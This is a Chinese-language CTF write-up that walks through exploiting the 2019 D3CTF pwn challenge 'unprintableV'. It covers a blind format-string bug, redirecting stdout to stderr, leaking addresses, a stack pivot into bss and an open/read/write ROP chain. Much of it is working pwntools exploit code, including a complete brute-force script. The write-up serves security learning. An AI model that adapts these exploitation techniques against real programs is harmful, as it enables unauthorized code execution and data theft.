0%

d3ctf unprintableV

这是2019 d3ctf的一道pwn题,由于当时知识储备不够没做出来,赛后就好好研究,从中学到了新的知识

首先,我们检查一下程序的保护机制

除了canary,其它的保护都开了

然后,我们用IDA分析一下

这个沙箱函数,把execve函数给禁用了,所以,我们不能getshell,但是我们可以构造ROP链来把flag读取后再打印出来

这是一个及其简单的程序,但是它的exp脚本会复杂的让你疯狂

程序一开始给了我们a的地址,也就是menu的ebp-0x8的值,接着**[close(1)把文件描述符1标准输出给关了,那么之后如果调用输出函数,将不能输出出来。]{.mark}**

然后,我们看看vuln函数,存在一个很明显的**[格式化字符串漏洞,但是由于这里字符串是存储在bss段的buf里,导致这个格式化字符串漏洞不是那么容易利用。]{.mark}**

如果我们想实现任意地址写,还得先在栈上特殊构造一下。

但是,由于**[标准输出被关闭了,导致信息泄露不出来。]{.mark}**

但或许有什么办法可以解决,我们来看看printf的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Write formatted output to stdout from the format string FORMAT.  */  
/* VARARGS1 */
int
__printf (const char *format, ...)
{
va_list arg;
int done;

va_start (arg, format);
done = vfprintf (stdout, format, arg);
va_end (arg);

return done;
}

printf实际是调用fprintf,并且传入了stdout指针,我们来看看stdout指针是如何定义的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include "libioP.h"  
#include "stdio.h"

#undef stdin
#undef stdout
#undef stderr
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;

#undef _IO_stdin
#undef _IO_stdout
#undef _IO_stderr
#define AL(name) AL2 (name, _IO_##name)
#define AL2(name, al) \
extern __typeof (name) al __attribute__ ((alias (#name), \
visibility ("hidden")))
AL(stdin);
AL(stdout);
AL(stderr);

而stdout、stdin、stderr这些是全局指针,因此,它们肯定存在于内存中的某个地方,bss段,我们要是能把stdout指针指向_IO_2_1_stderr_,那么就能输出了,IO_2_1_stderr_内部使用的文件描述符是2,而_IO_2_1_stdout_内部使用的文件描述符是1,它们在正常情况下,都向终端屏幕输出,因此,我们希望吧stdout指针指向_IO_2_1_stderr,我们在程序的bss段看到了这三个指针

这三个指针是程序在运行时装载上去的,就犹如GOT表的装载一样,然后**[程序中只要用到这三个指针,都是从这里访问获取指针的值]{.mark}**

下方不远处是buf

由于程序告诉了我们buf的地址,那么通过低字节覆盖,我们也能得到stderr、stdin、stdout这三个指针自己的地址。

那么,[我们该如何确定格式化字符串里参数在栈中的位置,比如%6$p这些?]{.mark}

[我们可以在本地先把close(1)给nop掉,再利用%p-%p-%p-%p-%p-%p-%p-%p-%p-%p…来确定。最后测试时,重新拿原文件来测试]{.mark}

假如,我们通过格式化字符串漏洞把这个数据低字节修改,使得它**[成为stdout指针的地址]{.mark}**,那么我们就能利用printf把stdout指针的内容改变,指向_IO_2_1_stderr_。但是,我们该如何来低字节修改这个数据呢?我们可以再借助这两个

我们可以**[先往0x7FFF7543E1D0里低字节覆盖,使得0x7FFF7543E1D0里的数据为0x7FFF7543E1C8]{.mark}**,即buf指针a的地址

然后,我们就能利用%t$hhn来对0x7FFF7543E1C8地址处写入了,我们先把a指向stdout

1
2
3
4
5
6
7
8
9
10
11
12
sh.recvuntil('0x')  
#获得a指针的地址
stack = int(sh.recvuntil('\n',drop=True),16)
print hex(stack)

payload = '%' + str(stack & 0xFF) + 'c%6$hhn'
sh.recvuntil('may you enjoy my printf test!\n')
sh.sendline(payload.ljust(0x12C-1,'\x00'))
#注意,休眠是必要的
time.sleep(0.5)
payload = '%' + str(stdout_bss & 0xFF) + 'c%10$hhn'
sh.sendline(payload.ljust(0x12C-1,'\x00'))

由于没有任何操作成功的提示,我们需要休眠一下,再继续发送数据

现在,我们看看栈里的布局,(我们重新运行了程序,所以和前面的图有些不一样

a指针成功指向了stdout指针,那么现在stdout指针的地址也在栈里了,我们就能继续利用printf,修改stdout指针的值了,我们只需低2个字节覆盖即可

1
2
3
4
#注意,休眠是必要的  
time.sleep(0.5)
payload = '%' + str(_IO_2_1_stderr_ & 0xFFF) + 'c%9$hn'
sh.sendline(payload.ljust(0x12C-1,'\x00'))

我们之所以写**IO_2_1_stderr & 0xFFF** 而不写_IO_2_1_stderr_ & 0xFFFF的原因是,[经过调试,发现_IO_2_1_stderr_ & 0xFFFF,printf执行后没有成功修改数据,可能是因为数据太大的原因]{.mark},注意,我们对stdout指针的修改必须一次完成,因为,如果我们分开的话,由于stdout指针修改了,所以在没完成全部修改之前,stdout就指向了其他地方,不是FILE结构体,导致printf执行错误崩溃

我们通过_IO_2_1_stderr_ & 0xFFF和%9$hn,最终导致**[stdout指针的值的倒数第四个十六进制数为0]{.mark},由于PIE的存在,我们有[1/16的可能]{.mark}**,使得stdout指针正好指向_IO_2_1_stderr_结构体

如上图,这次,我们没有成功让stdout指向_IO_2_1_stderr_,但是,只要我们不断的爆破,总有一次会成功,然后printf就可以正常输出了。

我们利用这种方式检验是否成功指向_IO_2_1_stderr_

1
2
3
4
5
6
7
#休眠是必要的  
time.sleep(0.2)
sh.sendline('aaaaaaa'.ljust(0x12C-1,'\x00'))

x = sh.recvuntil('aa',timeout=0.5)
if 'aa' not in x:
raise Exception('retry')

假设我们已经成功将stdout指针指向了_IO_2_1_stderr_结构体,接下来,我们就要来泄露信息了

泄露这些信息,分别计算程序基址和libc基址,以及其他一些gadget和函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#泄露main+0x2D的地址  
payload = '%11$p%15$pTAG'
sh.sendline(payload.ljust(0x12C-1,'\x00'))
sh.recvuntil('0x')
main_addr = int(sh.recvuntil('0x',drop=True),16) - 0x2D
elf_base = main_addr - main_s
pop_rsi_addr = pop_rsi + elf_base
pop_rdi_addr = pop_rdi + elf_base
buf_addr = buf_s + elf_base
leave_addr = leave + elf_base
#泄露__libc_start_main+E7的地址
__libc_start_main_addr = int(sh.recvuntil('TAG',drop=True),16) - 0xE7
libc_base = __libc_start_main_addr - __libc_start_main
open_addr = libc_base + open_s
read_addr = libc_base + read_s
write_addr = libc_base + write_s
pop_rdx_addr = libc_base + pop_rdx
print 'elf_base=',hex(elf_base)
print 'libc_base=',hex(libc_base)

以上的一些地址,我们在构造rop链实现如下代码,需要用到的

1
2
3
fd = open("flag",0);  
read(fd,buf+0x100,0x30);
write(2,buf+0x100,0x30);

如果全都用printf格式化漏洞来对栈里面写ROP链,那么会比较麻烦,因此,我们决定把ROP链放入bss段的buf里面,然后修改ebp,将栈转移到buf里去

那么,我们该如何做**[栈转移]{.mark}**呢?

如图,我们通过%6$hhn来将10的位置的数据低字节覆盖,使得10的数据为12的地址,然后我们就可以通过%10$hhn来依次修改12的数据,当我们需要修改12的前一个字节时,只需再通过%6$hhn来改变10的数据,然后用%10$hhn来继续对12的前一个字节写。

1
2
3
4
5
6
7
8
9
10
11
12
13
def write_i(sh,stack,index,addr):  
i = 0
while addr > 0:
sh.recvuntil('TAG')
#设定栈顶向下第10个数据为stack+0x8*index
payload = '%' + str((stack + 0x8*index + i) & 0xFF) + 'c%6$hhnTAG'
sh.sendline(payload)
sh.recvuntil('TAG')
data = addr & 0xFF
payload = '%' + str(data) + 'c%10$hhnTAG'
sh.sendline(payload.ljust(0x12C-1,'\x00'))
addr = addr >> 8
i+=1

然后,我们这样调用

1
2
3
4
#我们修改main的rbp,做栈迁移  
write_i(sh,stack,3,buf_addr)
#这次,我们写main的返回地址,也就是main ebp后面那个空间
write_i(sh,stack,4,leave_addr)

其中leave_addr地址处是指令leave;retn,而leave指令相当于

1
2
mov rsp,rbp  
pop rbp

这样,当main函数执行到leave时,有

1
2
mov rsp,rbp  
pop rbp

那么,ebp的值变成了我们的buf地址,但是esp还没有指向buf,于是,我们就在接下来的返回地址覆盖为leave_addr,让它再执行一次leave,那么有

1
2
mov rsp,rbp  
pop rbp

现在,[rsp指向了buf]{.mark},但是rbp变成buf[0]的数据,这没什么问题,因为,做栈迁移,我们只需保证rsp指向了指定位置即可,由于pop rbp,rsp要加8,也就是说,这里执行后,[rsp指向了buf+8处]{.mark},retn就会从buf+8处取出一个数据当成地址,跳到那个地址处去执行,因此,[我们只需在buf+8处写ROP链即可]{.mark}

为了能够正常到达main的栈中rbp数据处,[我们需要复原menu在栈中的rbp数据]{.mark}

1
2
3
#我们需要复原menu的rbp  
payload = '%' + str((stack + 0x18) & 0xFF) + 'c%6$hhnTAG'
sh.sendline(payload)

构造ROP时,有些gadget可能在程序二进制文件里没有,我们可以去libc.so.6中找找。只需利用ROPgadget工具即可

ROPgadget –binary libc.so.6 –only ‘pop|ret’ | grep ‘rdx’

然后,我们就开始构造ROP链了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#现在当退出main时,栈就会转移到buf里去  
rop = 'd^3CTF'.ljust(8,'\x00')
#rsi = 0
rop += p64(pop_rsi_addr) + p64(0) + p64(0)
#rdi = 'flag',我们把flag字符串存到buf+0xC8处
rop += p64(pop_rdi_addr) + p64(buf_addr + 0xC8)
#open
rop += p64(open_addr)
#rdx = 0x30
rop += p64(pop_rdx_addr) + p64(0x30)
#rdi = buf + 0x100,我们把读取的结果存在buf+0x100处
rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0)
#fd = 1,文件描述符1是现在对应打开的flag文件
rop += p64(pop_rdi_addr) + p64(1)
#read
rop += p64(read_addr)
#rdx = 0x30
rop += p64(pop_rdx_addr) + p64(0x30)
#rdi = buf + 0x100
rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0)
#fd = 2,文件描述符2是stderr
rop += p64(pop_rdi_addr) + p64(2)
#write
rop += p64(write_addr)
rop = rop.ljust(0xC8,'\x00')
#存入flag字符串
rop += 'flag\x00'
rop = rop.ljust(0x12C-1,'\x00')

sh.sendline(rop)

我们在**[开头写入了d^3CTFx00]{.mark}**,使得经过printf后,程序检测到d^3CTF,就直接退出main,就能执行我们的ROP链了,这样一次性搞定

需要注意的是文件描述符1对应了我们打开的flag文件,因为之前close(1),所以当我们open时,1就会被利用起来。也可以具体调试一下,得到文件描述符。

综上,我们的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#coding:utf8  
from pwn import *
import time

elf = ELF('./unprintableV')
libc = ELF('./libc.so.6')
stdout_bss = elf.symbols['stdout']
_IO_2_1_stderr_ = libc.symbols['_IO_2_1_stderr_']
__libc_start_main = libc.sym['__libc_start_main']
main_s = elf.symbols['main']
buf_s = elf.symbols['buf']
open_s = libc.sym['open']
read_s = libc.sym['read']
write_s = libc.sym['write']
#pop rsi
#pop r15
#retn
pop_rsi = 0xBC1
#pop rdi
#retn
pop_rdi = 0xBC3
#leave
#retn
leave = 0xB56
#libc.so.6中
#pop rdx ;ret
pop_rdx = 0x1b96

def write_i(sh,stack,index,addr):
i = 0
while addr > 0:
#sh.recvuntil('TAG')
#设定栈顶向下第10个数据为stack+0x8*index
payload = '%' + str((stack + 0x8*index + i) & 0xFF) + 'c%6$hhnTAG'
sh.sendline(payload)
sh.recvuntil('TAG')
data = addr & 0xFF
payload = '%' + str(data) + 'c%10$hhnTAG'
sh.sendline(payload.ljust(0x12C-1,'\x00'))
sh.recvuntil('TAG')
addr = addr >> 8
i+=1

def crack(sh):
sh.recvuntil('0x')
#获得a指针的地址
stack = int(sh.recvuntil('\n',drop=True),16)
print hex(stack)

payload = '%' + str(stack & 0xFF) + 'c%6$hhn'
sh.recvuntil('may you enjoy my printf test!\n')
sh.sendline(payload.ljust(0x12C-1,'\x00'))
#注意,休眠是必要的
time.sleep(0.5)
payload = '%' + str(stdout_bss & 0xFF) + 'c%10$hhn'
sh.sendline(payload.ljust(0x12C-1,'\x00'))
#注意,休眠是必要的
time.sleep(0.5)
payload = '%' + str(_IO_2_1_stderr_ & 0xFFF) + 'c%9$hn'
sh.sendline(payload.ljust(0x12C-1,'\x00'))
#休眠是必要的
time.sleep(0.2)
sh.sendline('aaaaaaa'.ljust(0x12C-1,'\x00'))

x = sh.recvuntil('aa',timeout=0.5)
if 'aa' not in x:
raise Exception('retry')
#泄露main+0x2D的地址
payload = '%11$p%15$pTAG'
sh.sendline(payload.ljust(0x12C-1,'\x00'))
sh.recvuntil('0x')
main_addr = int(sh.recvuntil('0x',drop=True),16) - 0x2D
elf_base = main_addr - main_s
pop_rsi_addr = pop_rsi + elf_base
pop_rdi_addr = pop_rdi + elf_base
buf_addr = buf_s + elf_base
leave_addr = leave + elf_base
#泄露__libc_start_main+E7的地址
__libc_start_main_addr = int(sh.recvuntil('TAG',drop=True),16) - 0xE7
libc_base = __libc_start_main_addr - __libc_start_main
open_addr = libc_base + open_s
read_addr = libc_base + read_s
write_addr = libc_base + write_s
pop_rdx_addr = libc_base + pop_rdx
print 'elf_base=',hex(elf_base)
print 'libc_base=',hex(libc_base)

#我们修改main的rbp,做栈迁移
write_i(sh,stack,3,buf_addr)
#这次,我们写main的返回地址,也就是main ebp后面那个空间
write_i(sh,stack,4,leave_addr)

#我们需要复原menu的rbp
payload = '%' + str((stack + 0x18) & 0xFF) + 'c%6$hhnTAG'
sh.sendline(payload)

#现在当退出main时,栈就会转移到buf里去
rop = 'd^3CTF'.ljust(8,'\x00')
#rsi = 0
rop += p64(pop_rsi_addr) + p64(0) + p64(0)
#rdi = 'flag',我们把flag字符串存到buf+0xC8处
rop += p64(pop_rdi_addr) + p64(buf_addr + 0xC8)
#open
rop += p64(open_addr)
#rdx = 0x30
rop += p64(pop_rdx_addr) + p64(0x30)
#rdi = buf + 0x100,我们把读取的结果存在buf+0x100处
rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0)
#fd = 1,文件描述符1是现在对应打开的flag文件
rop += p64(pop_rdi_addr) + p64(1)
#read
rop += p64(read_addr)
#rdx = 0x30
rop += p64(pop_rdx_addr) + p64(0x30)
#rdi = buf + 0x100
rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0)
#fd = 2,文件描述符2是stderr
rop += p64(pop_rdi_addr) + p64(2)
#write
rop += p64(write_addr)
rop = rop.ljust(0xC8,'\x00')
#存入flag字符串
rop += 'flag\x00'
rop = rop.ljust(0x12C-1,'\x00')

sh.sendline(rop)

sh.interactive()

while True:
try:
sh = process('./unprintableV',env={"LD_PRELOAD":"./libc.so.6"})
crack(sh)
except BaseException as e:
print e
sh.kill()
print 'retrying...'